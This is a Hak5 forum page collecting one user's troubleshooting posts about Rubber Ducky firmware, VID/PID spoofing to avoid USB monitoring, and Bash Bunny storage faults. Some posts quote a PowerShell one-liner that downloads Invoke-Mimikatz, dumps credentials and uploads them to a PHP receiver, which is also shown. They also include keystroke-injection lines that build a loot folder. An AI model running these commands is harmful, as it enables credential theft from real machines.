Jump to content

TeCHemically

Active Members
  • Posts

    131
  • Joined

  • Last visited

Posts posted by TeCHemically

  1. 9 minutes ago, kdodge said:

    The source says version 2 

    main.c: line 37, static char *vidpidFile = "A:\\vidpid.bin";

    https://github.com/hak5darren/USB-Rubber-Ducky/blob/master/Firmware/Source/Ducky_HID/src/main.c

    maybe try "USB_v2.1.hex"

    Thank you for your reply! I believe the v2.1 firmware is a twin duck firmware. I am not able to use a twin duck in this situation. It must not be recognized as a USB drive or it will get noticed by monitoring software. The policies around USB drives are very strict in this client's environment. I need solely HID with no USB storage and with VID/PID changing support. 

     

    Looks to be a twin duck f/w - UDC_DESC_STORAGE usb_dev_desc_t udc_device_desc;

    Not sure if I am reading that incorrectly. The source in one other firmware lists mass storage and HID injection in the comments at the top. I am unsure if that will be listed in all. I will try this one in the lab and report back. thanks for your help!

  2. I attempted to flash the 1.0-stable firmware to test; and i am getting this error when I use the flash tool: "Can't load jvm.dll".
    I have the JDK and JRE path added to PATH; but I also place the jvm.dll file from both the JRE and JDK paths (because I don't know which one I need) in the Duck Programming folder one at a time and tried to run the program.bat <firmware_file>.hex command. I still get the same "Can't load jvm.dll" error. That doesn't seem possible. Tried as user and a CMD window as admin. No change.

     

    My java is version 10. Do I need a specific older version?

    Installed Java JRE_8. This resolved the firmware flashing issue. 

    All I need now is to know which f/w version I need to support vid/pid changing via the online tool kit created BIN file. I confirmed the 1.0-stable f/w does not support changing the VID/PID via the online created vidpid.bin.

  3. I am adding the vidpid.bin file to my sd card that was created by the online duck tool kit; but the vid / pid are not changed. The only version of the firmware on the hak5 download page is 1.0-stable from 2011. Does this version allow for vid/pid changing via the aforementioned method? Where did all of the other ducky firmware versions go and why aren't they available on the d/l page? I haven't used this ducky in a while; so, I'm a bit rusty. My scripts are working fine; but I do not know how to check what firmware I am on (I only know it is not twin duck). Any guidance on getting this device to change vid/pid according  to the bin files i created with teh online duck tool kit would be very helpful. Thanks!

  4. 17 hours ago, Just_a_User said:

    Are you 100% sure its in arming mode? switch closest to USB?

    Also I was thinking, if you have a brand new bunny @ v1.0 then it doesn't yet know to use the police light flashing pattern as that came in a later update. Before then it was a red flashing light to indicate flashing firmware. If you were looking for police light pattern, it may be possible you might unplug a red flashing bunny unknowingly, be careful :)

    Whats the current fw version on the bunny?

    Thanks, yes it definitely is in arming mode; and this bunny came on the 1.3 firmware. I checked it before I ran the updater. The unbricking reset process doesn't work either. It never does anything other than boot into arming mode even after the plug in and unplug 3 times over at the beginning of that process.

  5. 7 hours ago, Just_a_User said:

    After reading the above im not sure. But if it were me I would do the following: -

    SSH (or serial) in and run the "udisk reformat" command wait for it to complete then try again with the upgrade process.

    Thanks Just_a_User, I tried that and it is still skipping right over the firmware update as before :( 

    I got excited by your response and was super hopeful that would do it. Thanks anyway :)

  6. I received my replacement bashbunny yesterday and this new one will not perform the firmware update. Here is what I have tried so far: 

    I have the sha checksum verified 1.4 firmware update file on the root of the storage partition and have plugged 
    it into 2 different PCs (one linux and one windows); but it just mounts the storage and boots into arming mode normally. 
    It totally skips the firmware update. I tried the f/w update on a third PC (windows) and it failed to start as well. 
    I even tried the unbricking reset steps provided by Seb. The unbricking reset will not even start. I get no "police" flashing at all. 
    Whenever the bunny is plugged in all it does is mount the storage partition. No reset or firmware update procedures ever begin. 
    I tried to flash the 1.3 firmware as well to make sure it wasn't an issue with the firmware file itself. 
    It just boots normally into arming mode completely bypassing the expected firmware update as it does with the 1.4 version. 
    I also tried running the bunnyupdater version 1.0 and the newer 1.1; no change :(
    
     
  7. On 11/19/2017 at 1:25 PM, kdodge said:

    It could be a lot of things, but you should start with checking if the file has write permissions to the server your running this on

    
    <?php
    $file = $_SERVER['REMOTE_ADDR'] . "_" . date("Y-m-d_H-i-s") . ".creds";
    if(is_writable($file)) file_put_contents($file, file_get_contents("php://input")); else echo $file.' is not writable.';
    ?>

    run tcpdump with this to see if it's not writable.

    Great advice, thanks for your response! I took your advice and here is what I got: 2017-11-20_19-46-03.creds is not writable.#file_put_contents($file, file_get_contents("php://input"));

     

    So, it looks like the file does not have write permissions. I thought I had the permissions set appropriately; but clearly I wasn't right. The file has write permissions for www-data (file is owned by www-data). What setting do I need to set so that this file has permissions to write to the server? Sorry for the nooby question. Thanks again for your help in identifying the issue!

  8. I have a question about this; I have always used tcpdump for this attack because the PHP file never gathers the incoming credentials. Can someone tell me what I am doing wrong? I am using the same command like above: 

    powershell "IEX (New-Object Net.WebClient).DownloadString('MyWebServer/My.ps1'); $output = Invoke-Mimikatz -DumpCreds; (New-Object Net.WebClient).UploadString('MyWebServer/My.php', $output)"

    Here is the PHP script:

    <?php
    $file = $_SERVER['REMOTE_ADDR'] . "_" . date("Y-m-d_H-i-s") . ".creds"; file_put_contents($file, file_get_contents("php://input"));
    ?>

     

    it was broken up like this before; but didn't see,m to have any affect (i know almost nothing of PHP; so this probably makes no difference):

    <?php
    $file = $_SERVER['REMOTE_ADDR'] . "_" . date("Y-m-d_H-i-s") . ".creds";

    file_put_contents($file, file_get_contents("php://input"));
    ?>
     

    Thanks to any who reply!

  9. Well, I have some ok news and some great news guys. Firstly, thanks to all who assisted me in troubleshooting my issues with my bashbunny. The "ok news" is that I am not crazy, or just plain dumb in the head, and the bashbunny that I have is indeed defective. The "great news" is that Hak5, the kind folks that they are, have been able to verify my suspicions and are getting me a replacement device. Seriously, thanks again to all who helped me troubleshoot this device. I am sincerely grateful for all of your time and suggestions. I am looking forward to my bunny's arrival so I can get to work on the new payloads I have cooking up. I think I have a pretty nice recipe brewing here! :)

    • Like 1
  10. On 11/8/2017 at 1:34 AM, Just_a_User said:

    It tried to do the same with me, I assumed it was just checking for the presence of the file in the root of the bunny storage dir and removed the fw file (I was just testing it out). I usually do it manually anyway.

    You are using the "safely eject" right? On my Linux OS especially on larger files I have to wait a few seconds before all activity has ended and I can unplug. if your not safely ejecting the drive that could be causing the corruption. Also like @PoSHMagiC0de says your AV could also be running a drive scan which could also extend the safe ejection process.  It wouldn't surprise me if its windows/AV causing this, so feel free to try a live Linux distro, it would be interesting to see if that resolves your issue on the setup side. Not sure about the payload side as i would need to test myself.

    Dont do that, no bunny is worth going bold for :)

    Thanks for your reply. Yes, I am safely ejecting; and my AV is set to not interact with the drive letters that my externals mount to.

  11. Just tried to run my first payload after the reformat and it failed on the first operation where the payload creates a directory because it says the file system is corrupted. I even got it to unmount successfully after I put the payload on there before I ran it. If I open a powershell window and try to create the directory I get the same error. This is what fails:

     

    Q DELAY 6000
    Q GUI r
    Q DELAY 1000
    Q STRING POWERSHELL
    Q ENTER
    Q DELAY 1500
    Q STRING \$Bunny \= \(gwmi win32_volume -f \'label\=\'\'BashBunny\'\'\' \|  Select-Object -ExpandProperty DriveLetter\)
    Q ENTER
    Q DELAY 1500

    Q STRING \$LOOTDIR2 \= \"\$\(\$Bunny\)\\loot\\JackRabbit\\\$\(\$env:computername\)-\$\(\$env:username\)\"
    Q ENTER
    Q DELAY 1500
    Q STRING md \$LOOTDIR2\\
    Q ENTER
    Q DELAY 1000

     

    This is the command that fails: Q STRING md \$LOOTDIR2\\

  12. 6 hours ago, PoSHMagiC0de said:

    You run Avast or some other AV?  I know with Avast if you have it set it will scan any USB drive you connect automatically.  I predominantly work with the BB from a *Nix setup to avoid Windows getting in the way on its on fruition.

    I updated all related USB drivers and installed all MS USB, RNDIS, and any other "recommended" fixes that sounded like they could even be remotely related just to be sure it wasn't my machine causing this.

    I only use MBAM for AV and it has rules not to mess with certain drive letters where my tools mount. I ran udisk reformat again today. Then was able to unmount properly. Plugged it back in, and no power. It didn't come on at all. I unplugged then plugged it back in and it booted up. I ran the bunny updater, it found a new firmware version which I thought was odd because I didn't think udisk reformat was supposed to revert it back to an older firmware. I have been on version 1.4. This has happened before as well. I have also gone through the unbricking process after being on 1.4 and afterwards it was NOT on an older firmware; something I thought WAS supposed to happen as a result of that process (correct me if I am mistaken guys). So, after the bunny updater pulls down the firmware it tells me to eject. I try and again it fails just as before: "'BashBunny (O:)' is currently in use. Save any open files on this disc, and then close the files or programs using the files before trying again. If you choose to continue, the files will be closed, which might cause data to be lost." So, whatever corruption issue I keep seeing over the past few weeks is not being resolved by udisk reformat. This thing has me wanting to tear out my hair. 

  13. 18 minutes ago, PoSHMagiC0de said:

    Welp, to fix your udisk being corrupted, if you can ssh into the BB there is a command you can run to reformat the udisk.  It will erase everything on it and make it default so will need your payloads again but will get it uncorrupted.

    On the BB run:

    
    udisk reformat
    

    That will reformat the arming partition you see as USB storage.

    I ran that; and after the reboot as soon as it booted and i tried to unmount the device, I got an error that said files were in use. I'm investigating potential issues with my PC. It's the only other common item in these situations. Making sure all related hotfixes for USB drivers, updated drivers, etc. are installed. Hopefully this resolves the issue and I'll be able to reformat and get this bunny going again. I'll report back. Thanks for the feedback guys! :)

  14. Thanks for all of your feedback. The payloads I am using have ejecting routines built in for this very purpose; but since the storage corruption issues prevent the payloads from executing properly it nullifies the effect the routine is intended to have. I am quite frustrated; and I am sure that is coming across in my conveyance. I don't mean to be passive aggressive at all. That is contrary to my nature. I am just trying to figure out what needs to be done to resolve these seemingly unsolvable issues. My email communications with Hak5 support have not resolved these issues. The bunny has been reformated, reflashed, etc. several times over the course of the past few weeks and its performance seems to only be getting worse. If it was as simple as that I would be ecstatic right now; but unfortunately, that has not been the case. Every payload, to some degree, is failing with this unit. This is why I believe its an issue with the device itself. I understand the payloads are community driven and not the responsibility of Hak5; but when nothing works consistently, then the only other place to look is the device itself.

  15. Thanks for your reply. I have gone through several rounds of troubleshooting with this device with Hak5 support. I'm kinda feeling out the community wondering if my issues are being felt elsewhere. I can see many more problem threads in the BB forums than I remember seeing in any of the other Hak5 device forums I have participated in. I am REALLY hoping this is just an issue with my device and that I'll be able to get a replacement and get this working. I am a huge fan of what this device is supposed to be able to do and I would love to start sharing my payloads and begin singing its praises as I had hoped I would be by now. The ducky is a great stable tool for me and I have 3 different pineapples (along with other random hakshop accessories); the bunny is the only device that has been this problematic. I have been a Hak5 since they were on the east coast. So, I'm no stranger to the scene. Please, any who are having no issues with their bunny, do weigh in! I'd love to hear that I am an isolated incident.

  16. I have been troubleshooting issues with the bashbunny for as long as it has been available. I got mine as soon as it was released; and it has been nothing but problematic from day one; which is a shame. The device, in theory, is probably the best thing Hak5 has ever come out with; but it practice, it has been the least usable in my experience. Many payloads will not run consistently; if they run properly at all. Every payload that makes use of the USB partition (the one thing that should really allow us to accomplish truly amazing feats) is problematic for many of its customers. The bashbunny forum is littered with threads full of people who cannot get any credential payloads to work because USB writing fails; among other problems. Simple ducky payloads that execute fine on the ducky or on nethunter's duckhunter will not inject properly a fair percentage of the time on the bashbunny. I see mixed character case issues where they shouldn't be and other anomalies. I am really hoping the USB corruption issues and the bizarre injection problems I am having is due solely to the fact that I adopted so early and the rest of the devices are not plagued with these issues; as they make the device unusable. I am pleading with Hak5 support here to please provide me with a replacement. I and my friends have poured countless hours of time and ulcers into trying to get this device to work; with, very little and, no lasting success. Anything we get to to work once or twice is quickly broken by yet another USB corruption issue or other strange injection anomaly. Please help me. I have gone through every unbricking, reflashing, updating, and udisk reformatting operation that support has given and have tried every firmware available. Nothing seems to be able to salvage this bunny. Help me technolust-ken-obee. You're my only hope...

  17. So, any powershell commands that end in a .txt are failing it looks like. firmware 1.4 may resolve this; that is the main problem. Also, any powershell command that is broken up in multiple lines with a pipe at the end od the line is causing an error in parsing and injecting. It looks like version 1.4 may resolve this as well. However, now that my commands are running, i still get no files written to the USB loot folder. I've no idea why this is failing. PasswordGrabber works in writing txt files to the loot folder; but no other payload seems to be able to. Tried basically every credential payload and blackbackup as well. It appears to run; but i get nothing written to the USB part. The only thing the bashbunny had going for it was the ability to write to a local USB partition for exfil and cred dump; and that is effectively broken.

  18. So, any powershell commands that end in a .txt are failing it looks like. firmware 1.4 may resolve this; that is the main problem. Also, any powershell command that is broken up in multiple lines with a pipe at the end od the line is causing an error in parsing and injecting. It looks like version 1.4 may resolve this as well. However, now that my commands are running, i still get no files written to the USB loot folder. I've no idea why this is failing. PasswordGrabber works in writing txt files to the loot folder; but no other payload seems to be able to. Tried basically every credential payload and blackbackup as well. It appears to run; but i get nothing written to the USB part. The only thing the bashbunny had going for it was the ability to write to a local USB partition for exfil and cred dump; and that is effectively broken.

  19. So, any powershell commands that end in a .txt are failing it looks like. firmware 1.4 may resolve this; that is the main problem. Also, any powershell command that is broken up in multiple lines with a pipe at the end od the line is causing an error in parsing and injecting. It looks like version 1.4 may resolve this as well. However, now that my commands are running, i still get no files written to the USB loot folder. I've no idea why this is failing. PasswordGrabber works in writing txt files to the loot folder; but no other payload seems to be able to. Tried basically every credential payload and blackbackup as well. It appears to run; but i get nothing written to the USB part. The only thing the bashbunny had going for it was the ability to write to a local USB partition for exfil and cred dump; and that is effectively broken.

×
×
  • Create New...